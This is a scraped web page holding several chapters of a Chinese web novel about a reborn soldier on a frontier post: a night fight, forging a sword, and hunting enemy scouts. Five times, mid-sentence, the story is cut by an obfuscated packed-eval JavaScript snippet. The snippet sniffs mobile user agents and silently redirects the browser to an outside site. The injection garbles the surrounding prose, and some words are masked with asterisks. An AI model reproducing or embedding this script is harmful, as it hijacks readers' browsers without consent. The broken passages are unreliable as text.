忽然,一道黑影闪过,凌川神色顿时一惊,因为,那道黑影竟然从院墙上闪过,直接朝着家里而去。 霎时间,凌川仅剩的几分酒意也瞬间清醒,以最快的速度蹿了出去。 只见他双手撑在院墙之上,一跃而入,双脚稳稳落在院子之中。 而就在此时,他看到那道黑影正准备推门,为避免惊着苏璃,便没有出声,而是直接扑了上去。 对方显然也察觉到了凌川的存在,转身便的一脚朝着他踹来。 凌川见状,果断使出反扣关节的擒拿招式,一只手抓住对方的脚踝,另一只手抡起掌刀,径直朝他脖子切去。 这些看似普通的招式,却是无数代人集众家武术之长改良而成的**技,看似平平无奇,实则招招致命,而且,每一招都暗含各种变化。 可凌川怎么也没想到,自己的手指抓在对方的脚踝,却根本扣不进去,那条腿就跟石头一般坚硬。 凌川顿时一惊,可不等他反应过来,那人腿上猛然发力,直接踹在他的肩膀。 凌川闷哼一声,身体连连后退,眼神之中更是写满了震惊。 要知道,就算是前世高手如云的特种部队,也是近战好手,可眼下仅一个回合,竟然落于下风。 就在此时,屋内传来苏璃的声音:“相公,是你吗?” 紧接着,便看到窗纸映出苏璃持灯走近的剪影。 凌川神经猛然一紧,连忙说道:“别出来,危险!” 说完,他径直朝着那黑衣人扑去,虽手无寸铁,可拳掌之间暗藏杀机。 一番交手,拳来腿往、掌指交替,可凌川却始终没有占到半点上风。 忽然,凌川抓住一个空档,一拳轰在黑衣人的胸口。 “砰……” 黑衣人连退数步,可凌川脸色却是一阵难看,就在那一拳砸中对方的瞬间,他感觉到一股恐怖的力道宛如气浪一般席卷而来。 霎时间,整条右臂如遭雷噬,筋络突突乱跳。 第33章 神秘黑衣人! 黑衣人下意识要去拔刀可他的手掌刚接触到刀柄又迅速松开了。 “相公你没事吧!” 就在这时苏璃拉开了房门凌川暗道不好:“娘子快进屋!” 然而黑衣人却也转过目光看向门口身着喜服的苏璃那眼神之中没有杀意也没有贪婪只有无尽的温柔。 但他身在黑暗中无论是苏璃还是凌川都看不到这一抹细节。 凌川快步冲了上去他决不允许有人伤害到苏璃。 只见凌川一跃而起一记边腿扫向黑衣人可对方竟然只是抬起手臂轻描淡写地挡住了他这一记扫腿同时另一只手猛然抬起一掌拍在他的胸口。 凌川直接倒飞回来重重摔倒在门前。 “贼人休要伤我相公!”苏璃娇吒一声直接将手中油灯砸了过去。 面对砸来的油灯黑衣人不闪不避稳稳将其接住灯火只是微微晃动了几下并未熄灭。 接住灯火凌川与苏璃终于看清了对方的脸尽管黑巾遮着面孔但露在外面的那对眼睛却透着逼人英气。 “你叫我贼人?”黑衣人看着苏璃沉声问道。 听到这个声音苏璃身体猛然一颤脑中轰然作响。 她瞪大双眼看着那道身影嘴唇颤动却一个字也说不出来。 而这边的动静也惊动了住在周围的兵卒毕竟不止是凌川领了媳妇还有其他领了媳妇或者是带着家眷的什长、标长都住着独立院子。 伴随着一阵阵脚步声有人拿着火把朝这边赶来。 “凌兄弟发生什么事了?”朱骞的声音远远传来。 黑衣人轻轻放下手中油灯十分不舍地看了苏璃一眼随即身形一跃而起脚尖在院墙上一点便消失在了黑暗中。 “娘子你没事吧!”凌川转过目光问道发现苏璃目光呆滞地看着黑衣人离去的方向眼泪止不住地流淌下来。 凌川第一想法是她被吓着了可种种迹象表明事情没那么简单。 “凌兄弟你没事吧?”朱骞举着火把来到院外 凌川堆起一副笑脸摆手道:“没事喝大了不小心摔了一跤!” 朱骞不疑有他还打趣道:“你可悠着点别摔个鼻青脸肿大家还以为你被弟妹给揍了呢!哈哈……” 朱骞笑着离开了凌川与苏璃二人内心却久久无法平静。 他提起那盏油灯扶着苏璃进了屋。 “ 相公……”苏璃看着他,唇瓣几度开合终未出声。 凌川笑着将她搂进怀里,轻拍着她的后背,说道:“别怕,有我在!” 这一夜,苏璃彻夜未眠,她几次想要开口,可看到熟睡的凌川,却又打消了心中的念头。 事实上,凌川也没有睡着。 次日,凌川照常早早来到校场训练,昨晚与那黑衣人交手的场景让他耿耿于怀,手臂现在还在隐隐作痛。 看来,这个世界的个人武力值比自己想象中的要强不少,特别是在这烽火边关,想要活下去实力是最基本的保障。 对敌经验和**技法自己都不缺,唯独这具身体的体能跟不上,要不然,昨晚就算无法拿下对方,至少也能让自己立于不败之地。 如今,凌川的训练除了体能之外,还加入了刀法和箭术。 中午,凌川提着一坛酒来到铁匠铺,“杨师傅,帮我打一把刀!” 杨铁匠看到他手中的酒坛,态度比往常好了许多,问道:“打什么刀?” 凌川取出一张图纸递给杨铁匠。 后者打开图纸,只是看了一眼便不屑地丢到一边:“你这什么玩意?刀不像刀,剑不像剑,中看不中用的绣花枕头!” 凌川却是一脸成竹在胸的样子,说道:“枉你当了大半辈子铁匠,本以为你是个识货的主,不曾想你跟其他人一样,都是有眼不识金镶玉!” 杨铁匠满脸不服气:“凌二狗,你竟敢在老夫面前大放厥词,真以为请我喝了几坛酒,老夫就不敢揍你了?” 凌川笑道:“我这把刀可轻松斩断马腿,还能轻松穿透胡羯人的铁甲,你要是不信,咱俩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947949|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打个赌如何?” “赌就赌,我怕你不成,你要是输了,以后每天给我送一坛酒!”杨铁匠成竹在胸地说道。 “没问题,要是你输了咋办?”凌川一脸轻松,问道。 “切,我要是输了,以后你来打任何东西,我一律不收钱!”杨铁匠拍着胸口说道。 “好,赌了!”凌川爽快答应。 “每天一坛酒,你小子可不许反悔!”杨铁匠爽快答应下来,生怕凌川变卦。 “谁反悔谁是龟儿子!”随即,凌川又补充了一句:“不过有一点我得事先声明,锻刀的每一个步骤,都得按照我的要求来!” “行行行,都依你!” 在杨铁匠看来,这就是一场必胜的赌局。 打铁这门手艺,就算是师傅手把手教,每个三五年的磨炼,根本上不了手,锻造兵器的要求则是更高,只有经验丰富的老铁匠才能干。 尽管此前凌川自制破甲弓和改造的箭镞都让他另眼相看,但他依旧不认为凌川能够锻造出能轻松破甲的战刀。 要知道,如今大周贪腐成风,无论是朝中权贵还是地方官员,无不在中饱私囊,以至于军械铠甲的质量都大打折扣。 再加上胡羯人几次攻破国门,大肆掠夺,不仅抢走了大量铁器,还掳走了许多匠人,以至于他们的军械水平迅速提升,短短十余年便直追大周的冶炼水平。 曾经,大周边军配置的皆为百炼刀,可如今的大周普通军卒手中,已经很难一把能破甲的战刀了。 杨铁匠也不磨蹭,直接撸起袖子开干,可就在他正准备去生火的时候,凌川却叫住了他。 “这碳不行,得处理一下!” 不等杨铁匠发问,凌川便去外面挖了一筐黄泥,然后加水和成泥浆,紧接着,他将木炭全部倒入泥浆之中浸泡。 “臭小子,你疯了,这碳可是花银子买的,你这么糟践了还怎么烧?”杨铁匠厉声制止。 凌川却是不以为意地说道:“嚷嚷个屁,一会你得感谢我!” 第34章 锻造战刀! 约莫半个时辰,凌川将那些带着泥浆的木炭取出,然后配合着普通木炭一起放进炉子里生火。 拥有现代记忆的凌川很清楚,温度是锻造工艺的一个重要因素,可普通木炭最高温度也就七八百度,不能完全将铁矿烧透,进而无法将铁胚中的杂质去除,这将大大影响兵器的硬度和韧性。 煤炭自然是最好的燃料,可惜,如今的大周并没有发现煤炭这一矿产,而自己一时半会也找不到这个东西,所以,只能用泥浆浸泡这种传统方法。 通过泥浆浸泡之后,可以将温度提升到千度以上,勉强能够满足要求。 接下来便是烧矿,这些技术凌川并不熟悉,只能看着杨铁匠一个人操作,他则是在炉子跟前帮忙拉风箱。 “咦……”忽然,杨铁匠惊呼一声。 他发现,平时需要烧大半个时辰才融化的铁矿,现在只用了不到半个时辰就融化了,而且,化得非常彻底。 经验丰富的他很快就意识到,这是炉火温度导致的,虽然不知道是什么原因,但直觉告诉他,跟凌川之前用黄泥浆浸泡木炭有关系。 很快,一块通红的铁胚被他从炉子里夹了出来,放在铁砧上开始捶打。 锻造一般的刀剑,将铁胚反复折叠捶打六七次即可,就算是大周鼎盛时期的百炼刀,也只是反复捶打十次,毕竟,每折叠捶打一次,铁胚就会缩减很多,锻造一把刀也就需要更多的铁矿。 然而,凌川则是要求,要反复折叠十五次,杨铁匠为了履行赌约,也只能依他。 折叠到十三次的时候,基本上已经没有杂质脱离了,但,凌川还是坚持折叠十五次,因为他记得,龙泉剑就是反复折叠十五次,最终让铁坯达到惊人的数万细密叠层。 紧接着,凌川又让杨铁匠用大铁钳夹住铁坯的两端,将其扭成麻花状。 “你小子,没完了你!”杨铁匠一脸不耐烦,就要撂挑子。 “你还想不想喝酒了?”凌川直接拿赌注要挟。 听到这话,杨铁匠瞬间没了脾气,谁让自己嗜酒如命的软肋被对方拿捏住了呢! 但一想到,以后一直有酒喝,他也就强忍下这口气。 自从喝了凌川酿的酒之后,普通的米酒根本不解馋,就算是以往偶尔才能打二两尝尝的十里香,也觉得寡淡无味,在他心里,唯有凌川酿的才算是真正的酒。 塑形过程中,凌川也是寸步不离,无论是刀身长度还是刀刃弧度乃至刀脊厚度,都严格按照图纸上的要求。 淬火的时 候,凌川再次叫停,只见他用粘土将刀脊覆盖,只留下刀刃裸露在外面。 这样既保证了刀身的韧性,同时也能让刀刃部分通过淬火增强硬度。 等刀胚成型的时候,天都黑了,“今天就到此为止吧,明日我再来!” 都说人间三大苦,撑船打铁磨豆腐,饶是杨铁匠打了半辈子铁,这一天下来也累得够呛。 摩挲着手中初见雏形的刀坯,他心中隐约感觉,此刀或许真能给他惊喜。 不过,这略显细长的刀身大大限制了刀的重量,或许能刺穿铁甲,但想要一刀砍断马腿,几乎是不可能的事情。 次日,凌川早早就提着一坛酒来到铁匠铺,发现杨铁匠正在磨刀。 随着刀身被磨亮,上面的一层层纹路也显露出来。 杨铁匠目光一凝,伸手轻轻抚摸着刀身上的纹路,他当了几十年的铁匠,却从未见过这种纹路。 “好精美的纹路!”杨铁匠摩挲刀纹时手指微颤。 要知道,这可不是錾刻上去为了好看的纹路,而是折叠锻打之后自然形成的,与整个刀身融为一体。 打磨、开刃又用了一整天,一直到第三日,杨铁匠选了一块最好的檀木作为刀柄,又缠上麻绳,这把刀算是初步完成。 虽然还差一个刀鞘,可他已经等不了了,当场就让凌川测验。 凌川接过战刀打量了一番,内心也十分满意。 这把刀是按照唐刀的样式制作的,但在一些细节上凌川做了调整。 刀身修长,形似禾叶,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947950|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有只有单刃,且略有弧度。 唐刀虽锋利,在削、刺、挑等招式上有很大优势,但在劈斩方面,却由于自身重量较轻而威力不足。 所以,凌川在设计的时候,将刀脊加厚了几分,弥补了劈斩不足的同时,也保证刀的灵活性。 当然,若单论劈斩杀伤力,还得是**、环首刀一类的重刀,但以周人的普遍体魄,除了少数体格健壮的士兵外,一般人抡不了几刀就会吃不消。 “怎么样?这每一步可都是按照你的要求做的,要是达不到要求,可别赖在我身上!”杨铁匠拿起酒葫芦往嘴里灌了一口酒,说道。 凌川笑着点了点头,“你坐一边看着就行了!” 为了今日的测试,杨铁匠也是做好了充足的准备,特意找张屠夫要来一根牛腿骨。 事实上,他现在内心也非常矛盾,这些年他所铸刀剑不在少数,最为得意的,莫过于那柄陪着自己行走江湖三十载的大江。 那十年间,腰间三尺大江,荡尽半座江湖,能接自己一剑者屈指可数, 那时江湖流传一句名言,三尺大江出广陵,半座江湖尽失声! 想当初的杨斗重是何等的意气风发,目空一切,直至十六年前,锋芒无双的大江折于白云城,那个名为杨斗重的无双剑客也自此绝迹江湖。 而不久之后,北疆狼烽口这个边陲小镇多了一个落魄的老铁匠,开了一家铁匠铺子。 对于一名剑客而言,佩剑折断,等同于身死。 事实上,他这些年活得跟行尸走肉没什么区别,整日醉酒,只为了麻痹自身,希望以此放下那座早已远去的江湖。 可到后来他才发现,自己能放下那一战的输赢,却对大江之陨耿耿于怀。 那一战,折断的不仅仅是大江,还有他的傲骨。 尽管退隐江湖,远走北疆,可心中那份执念始终未能放下,那就是打造一把真正的绝世神兵,洗刷大江之辱! 只可惜,这些年守在这破烂的铁匠铺,非但未能铸出神兵,反倒是磨掉了自己身上的意志。 第35章 一刀破盾,削铁如泥! “别磨蹭了,赶紧试刀!”杨铁匠催促道。 凌川点了点头,随即单手持刀,朝着挂在墙上那面盾牌刺去。 只听见‘噗’的一声响,那盾牌直接被一刀刺穿。 杨铁匠顿时瞪大双眼,要知道,这面盾牌虽不是纯铁打造,但表面却包裹了一层厚厚的铁皮,能挡住一般的**箭,远比铁甲要坚固得多。 可凌川抬手一刀便轻松将其刺穿,这让他简直难以置信。 虽说,强弓配上铁箭也能破甲,但那和战刀穿甲完全是两个概念,就好比将铁箭拿在手中,是无法将铁甲刺穿,因为手臂刺出的力量无法与弓**相比。 随后,凌川又抡起战刀,朝着那条牛腿骨斩了下去。 毫无意外,牛腿骨直接断成两截,更让杨铁匠震惊的是,那腿骨断口平整,丝毫没有裂开的意思,足见其锋利。 可凌川依旧没有停手的意思,只见他从箩筐中拿出一把制式战刀,这是军营中送过来让杨铁匠修补的。 凌川将其放在砧板上,刀口朝上摆好,随即抬手便是一刀斩了下去。 “叮……” 一道金铁交鸣之声响起,随着凌川这一刀斩下,那把制式战刀应声而断。 杨铁匠看着那掉落在地上的两截断刀,内心早已震撼到了极点。 只见他三步并作两步,来到凌川面前,一把夺过他手中那把新锻的战刀。 刀刃之上既看不到豁口,也没有卷刃,鲜亮如新。 “这,这怎么可能?” 放眼天下,削金断玉的神兵利器不在少数,但它们无不是用极为罕见的材料锻造而成,且皆是出自名家之手,就好比自己最得意的大江,便是用玄铁打造。 然而,眼前这把修长战刀,不过是凡铁打造而成,可无论是锋利还是韧性,都不在那些名冠天下的神兵之下,简直令人难以置信。 “杨师傅,愿赌服输,你不会赖账吧?”凌川笑着问道。 这次杨铁匠输得是心服口服,不过他并没有丝毫沮丧,而是眼冒精光,他似乎找到了让大江重现锋芒的希望。 回到家中,苏璃正在绣花,见凌川回来,她连忙从锅里端出饭菜。 “娘子自己吃就行了,不必等我!” “那怎么成,夫妻之间肯定是要同吃同睡的!”苏璃温柔说道。 刚吃到一半,余生便急匆匆跑来。 “标长,校尉大人让我通知您马上过去一趟!” 见他一脸着急的样子,凌川知道肯定是要紧 事,跟苏璃说了一声便和余生一起直奔校尉营。 踏入校尉营,凌川只觉一股压抑且紧张的气氛扑面而来,仿佛空气都凝固了一般。 除了陈暻垚之外,另外几名标长也早已到场,所有人的脸上都写满了凝重。 “什么情况?”凌川意识到肯定出事了。 陈暻垚神色写满了凝重,说道:“昨晚巡边的五名边军失踪了!” “失踪?”听闻此言,凌川顿时一惊。 陈暻垚点了点头,已经派人去现场了,并未找到尸体,但却发现了打斗的痕迹和少许血迹。 听到这里,凌川能想到的唯一可能就是他们跟自己上次一样,遇到了胡羯斥候,几乎可以断定,那五名斥候已经**。 本以为,上次那一千胡羯精锐全军覆没之后,短时间内定然不会贸然出兵,至少也要等到气温回暖才会有所动作。 不曾想,这才过去半个月,胡羯人便再次有了动作。 紧接着,凌川又意识到了一个更为严重的问题,既然对方干掉了五名边军,那他们极有可能已经潜入了狼烽口。 若真是这样,事态的严重程度丝毫不亚于胡羯大军兵临城下,甚至还犹有过之。 对方既然是从险要小道潜进来的,人数肯定不会太多,而且,能够被敌方派来执行如此重要的任务,必然是斥候中的精锐。 对方要是隐匿在关内,想要将其找出来,就太困难了,最主要的是,这些敌军斥候就像是一条条隐藏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947951|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在黑暗中的毒蛇,不知道他们会在什么时候动手,更不知道他们的目标和计划。 “大家都说说吧,眼下怎么办!”陈暻垚神色凝重地看着众人问道。 几位标长面面相觑,一时间也拿不定主意。 “校尉大人,我觉得,眼下最要紧的是把那支潜入狼烽口的斥候小队找出来,不然,恐成祸患!”老成持重的朱骞率先发表了看法。 陈暻垚点了点头,说道:“可问题是,狼烽口地形复杂,对方若是藏匿起来,想要找到他们谈何容易!” “这还不简单,我们直接动用所有兵力,将狼烽口翻个遍,就算掘地三尺,也要把他们挖出来!”熊广站起身来,斩钉截铁地说道。 此言一出,立马遭到了陈暻垚的否决。 “此举不妥,若是大规模搜捕,难免打草惊蛇,先不谈能否找到,就算是找到了,对方狗急跳墙,定会对无辜百姓下手!” 随即他将目光看向凌川,问道:“凌川,说说你的看法!” 随着陈暻垚开口,另外四名标长也都朝他看了过来,毕竟,此前凌川展现出来的能力和谋略,都让他们为之折服。 凌川也明白,现在不是卖关子的时候,直接站起身来,说道:“我要市集的详细地图!” “有!” 陈暻垚都没去叫亲兵,而是自己回到屏风后面,从柜子里取出一张地图。 这是陈暻垚到狼烽口担任校尉之后亲手绘制的,其目的是如果有朝一日,狼烽口真的被攻破,他们可以依靠市集,以地利之势进行反击。 虽然这是无奈之举,同样也是最后一张底牌。 地图在案台上展开,大家迅速围拢过来,地图不仅将道路房屋、坊墙高度、暗渠走向详细标注,就连哪里有水井,哪里有棵大树都一一呈现了出来。 凌川目光如炬从地图上缓缓扫过,脑海中更是迅速盘算,将一切有可能藏身的地点全部记载脑海中。 其他人静静站在一旁,连呼吸都不敢太大声,生怕影响到凌川。 第36章 血鸦军团 约莫一刻之后,凌川终于收回了自己的目光。 陈暻垚迫不及待地问道:“怎么样?想到办法了吗? “也没有十足的把握,只能一试了,不过,我需要人手!凌川看着陈暻垚说道。 “要谁,你说! “把狼烽口实力最好的士兵挑给我,不需要太多,只需十个人,但必须保证他们能绝对服从我的命令!凌川说道。 陈暻垚没有任何废话,直接看向几位标长,说道:“各标选两人,一刻钟之内,带到此处! 很快,各标便将人员带到了校尉营,看来,这段时间的训练还是很有效果的,要是在以往,一刻钟都未必能到齐。 凌川粗略扫了一眼,都是一些熟悉面孔,毕竟狼烽口一共就一营兵力,虽然很多都叫不出名字,但也都能挂上相貌。 戊标的两人分别是余生和凌川自己。 余生是他亲自推荐的,他虽然年纪小,战力和经验都算不得拔尖,但应变能力却相当不错,最主要的是他对凌川的命令从来都是无条件执行,从不多问,这看似不起眼的小细节,在军中却是非常重要的。 而且,最近余生的训练极为刻苦,各方面提升也都十分显著,这是所有人都看在眼里的。 “从现在开始,你们十人组成一支小队,由凌川担任什长,直到任务完成之前,你们只需听他一个人的命令!陈暻垚没有废话,简单宣布了一条命令之后,便把他们丢给了凌川。 凌川看着面前站着的九人,说道:“我丑话说前面,本次行动异常危险,极有可能会丧命,怕死的现在可以退出! 九人站在那里,纹丝不动,来自甲标的催肃开口说道:“什长,要是怕死咱们就不会站在这里了,你直接下命令吧! 凌川并未理会他,而是继续说道:“第二点,从现在开始,你们需要无条件执行我的命令,如果做不到,现在退出! 此言一出,除了余生之外,其他八人脸色都有不同程度的变化。 “如果什长你下的命令是错误的呢?也必须执行吗? 开口的人是乙标的黄琛,此人箭术出众,在狼烽口能排进前五。 有本事的人,往往都有一个通病,那就是傲气,黄琛也不例外。 凌川用凌厉度目光看着他,冷声吐出一个字:“是! “为什么?黄琛追问道,语气中带着几分不服。 “战场上,你只需要执行命令,不需要问为什么 !”凌川的回答冷漠到近乎无情。 紧接着,凌川还是开口解释道:“如果这个命令真的是错的,那也是我事后要承担的后果,当然,我作为什长,我会对你们每一个人负责,这是我的职责,所以,我不允许自己犯错!” 凌川严肃的目光从所有人身上扫过,问道:“还有问题吗?” 没有人说话。 凌川点了点头,随后让大家回营穿戴皮甲和兵器,一刻钟后,依旧在校尉营集合。 众人走后,陈暻垚来到凌川身边,问道:“你有多少把握?” “不知道,只能一试!”凌川眼神中透着几分担忧,说道:“我现在担心的是,他们在被我找到之前先一步动手!” “你放手去干就行了,我已经做了相应部署!”陈暻垚说道: “我已经**息,以免让老百姓知道,引发恐慌的同时还有可能打草惊蛇!” 紧接着他来到地图跟前,指着狼烽口连接关外那两条险道,“我已加派兵力,秘密看守这两处小道,保不齐胡羯还会有第二批甚至第三批斥候潜入狼烽口。” 紧接着,陈暻垚又依次指向城门、粮仓、军械库、水库等地说道:“这些军事要地,我也派了人秘密看守!” 毕竟,胡羯的斥候小队入关之后,不可能毫无作为,而这些重地无疑是他们动手的首选目标。 焚烧粮草、水源**这些在两军交战之中,是最常见不过的手段。 凌川暗自点头,陈暻垚考虑得非常全面,这些看似细节的东西,实则是一名出色将领需要具备的基本素质。 此时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947952|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个狼烽口看似风平浪静,实则大部分士兵都动了起来,尽管很多人都不知道内情,但还是在依令行事。 校尉营中,只剩下陈暻垚与凌川二人。 见陈暻垚欲言又止的样子,凌川笑着问道:“陈大校尉,你什么时候变得婆婆妈妈了?” 陈暻垚神色一片凝重,问道:“你可曾听说过胡羯的两大王牌斥候?” 凌川神色微变,随即微微摇了摇头。 陈暻垚眉宇间满是凝重之色,说道:“胡羯军中有两支极其凶悍的斥候军团,名为鸱凫和血鸦,他们选定五六岁的小孩为目标,然后通过多年的残酷训练,最终能活下来的十不存一,但每一个活下来的都是绝对的精锐。” “他们无论是单兵战力还是团队配合都极其恐怖,曾经,一营北疆边军遭遇了一支十余人的血鸦小队,结果,这五百周军险些被对方**殆尽。” “自此之后,北疆边军听闻血鸦之名,无不胆寒!”陈暻垚话语中满是担忧之色。 凌川看着他,问道:“你是说,这次来的是血鸦军团?” 陈暻垚点了点头,说道:“从现场的痕迹来看,咱们的人几乎没有反抗之力,而且,现场处理得非常干净,几乎没有留下什么痕迹,这绝非一般的斥候,加之胡羯人接连几次失利,派血鸦前来也不是不可能!” 这是陈暻垚最担心的事情,若来的真是血鸦,不仅凌川等人异常危险,整个狼烽口都是岌岌可危。 凌川却是轻松一笑,说道:“都是两个肩膀扛一个脑袋,就算来的真是血鸦,我也要让他们有来无回!” 这不就是自己前世的特种兵吗?正好领教一下他们的实力如何。 对于自己的实力,凌川有着充分的自信,但,对于手下这九人,凌川却有些担心。 虽然他们都是从狼烽口挑选出来的好手,可在凶名赫赫的血鸦面前,多半还是不够看。 “麻烦你帮我照看一下小璃!”凌川对陈暻垚说道。 “放心吧,你不说我也会派人看着!”陈暻垚点头说道。 第37章 发现敌踪! 夜幕降临,以凌川为首的十人小队悄无声息地离开军营,迅速消失在黑暗之中。 按照凌川之前分配的任务,十人分成两支小队,对他圈出的几个地点进行排查。 事实上,凌川心里很清楚,这种天气,对方藏身野外的可能性不大,不过为了稳妥起见,但凡有一丝可能都不能放过。 对于前世身为特种兵王的凌川而言,侦查与反侦察是必修课之一,曾经所学的那些知识和技能,在这一刻也派上了用场。 他没有放过雪地里的任何蛛丝马迹,哪怕是一根折断的树枝、翻转的树叶都没有放过。 血鸦作为胡羯最精锐的斥候队伍,定然精于侦迹与反追踪,这一点,从他们之前处理战场就能看出来。 凌川跟随雪地里的脚印,一路追到市集之中,但,由于市集中人来人往,再也无法通过脚印追踪。 “这一路上有七组脚印,说明对方至少有七人,而且,从脚印消失的方向判断,对方现在极有可能躲在市集之中!” 几人闻言顿时一惊,在他们看来,这些脚印并无多大差别,很多时候都乱七八糟,可凌川却能判定,对方至少有七人。 尽管他们不知道凌川是如何判别出来的,但对于凌川的话,他们并不怀疑。 “什长,市集上有几百户人家,咱们总不能挨家挨户搜吧?真要这样,对方听到风声早就跑了!” 凌川点了点头,看着众人问道:“你们假设一下自己是对方,会选择躲藏在市集的什么位置!” “首先肯定不能藏在市集中间区域,这样很容易陷入围困,而且,暴露的风险也会加大!”余生率先表达了自己的看法。 凌川赞赏地点了点头,又看向其他人问道:“你们觉得呢?” “如果是我,我肯定选一个视野开阔的地方,给自己留下退路,其次是足够僻静,避免与人接触!”黄琛也发表了自己的看法。 其他人也都发表了自己的看法,大多都能说到点子上。 凌川努力回想着地图上的格局,最终确定出十处敌人可能藏身的地点。 可即便如此,还是无法确定敌人到底躲在哪一户人家。 “这些胡贼潜入之后,肯定会第一时间杀害老百姓,以此来确保自身行踪不暴露!”队伍中的史俊开口说道。 黄琛也点了点头,“看来,只能等到明日,看哪家没有人出门,就可以缩小目标范围!” 凌川摇了摇头,说道:“潜藏在暗中的敌人就像一把利剑,随时有可能发 动致命一击,我们没有时间了,天亮之前必须将人找出来,并将其干掉!” “你们有没有想过,如果那家人已经**羯人买通,或者说,那本就是胡羯人安插在狼烽口的一个据点呢?”凌川看着几人问道。 “啊,不会吧!”史俊一脸不相信。 “我也不相信咱们拼命保护的人会出卖我们,但在战场上,哪怕是万分之一的可能性都要考虑进去,因为,我得对你们每一个人负责!” 听到这话,众人集体沉默,因为他们知道,凌川说的是对的。 “什长,咱们接下来怎么办?”催肃小声问道。 “没有办法,只能一处处查!”凌川小声说道。 随即将他们分成三人一个小队,自己独自一队,让他们前去排查,但有一点,决不能打草惊蛇,就算发现目标也不能擅自行动。 “一炷香之后,在这里碰头!”凌川最后交代道。 “明白!” 深夜的市集一片寂静,偶尔传来一声犬吠,众人宛如幽灵在黑暗中穿行,为了尽可能的不弄出动静,每个人都用棕皮包住鞋底。 除了按照凌川交代的地点进行排查之外,但凡还未熄灯的,也是重点排查对象。 凌川一连查了三处,均未发现异常,当他来到最后一处目标地点的时候,忽然眉头一皱。 血腥味! 霎时间,凌川神经紧绷,他没有贸然靠近,而是迅速找到掩体,开始观察这里的地形。 如无意外,那批胡羯斥候就藏在这户人家。 此地位于市集南面的边缘地带,不远处便是一片雪松林,这是他们给自己留的退路。 而且,这家人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947953|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房屋并不与其他房屋相连,最近的也有三十余丈,可以说,房屋四面八方都可以突围,这无疑是给行动增加了难度。 等凌川返回约定地点的时候,其他人已经在此等候。 “什长,我们那边没有发现异常!”黄琛小声说道。 “我们这边也是!”催肃也开口说道。 “我找到他们了!” 凌川此言一出,众人瞬间变得紧张起来。 “时间紧迫,我只说一遍!”凌川直接开始做行动前的部署,事实上,在返回这里的途中,他便在脑海中进行了各种推演。 “黄琛,你在路口附近伏击,守住后门!”凌川将一只箭壶递给黄琛,里面是三十支特制铁箭。 这铁箭对于弓的强度和射手的臂力要求更高,按理说,凌川自制的破甲弓更为合 适,但黄琛没有用过,短时间内很难上手。 好在,那处掩体距离后门只有不到五十步的距离,以黄琛的箭术,完全能驾驭。 “是!”黄琛接过箭壶,重重点了点头。 他知道,这是凌川对他的信任和对他箭术的肯定。 “史俊,你配合黄琛,务必将后门守住!” “是!” 史俊与黄琛配合,一个远射一个近攻,守住后门应该问题不大。 “耿良、催肃,你二人在东西两面寻找制高点,需保证弓箭能覆盖所有位置,随时应对突发情况!” “是!” 凌川之所以这样安排,就是为了防止对方狗急跳墙,一旦让其逃走,后果不堪设想。 “余生,一会行动开始,你带剩余的人列阵攻进去!”凌川又对余生交代道。 “是!”余生点头说道。 布置完任务之后,所有人都意识到一个问题,那就是凌川自己没有参与到此次行动。 当然,他们都相信,凌川并非贪生之人,估计是想留在外面纵观全局。 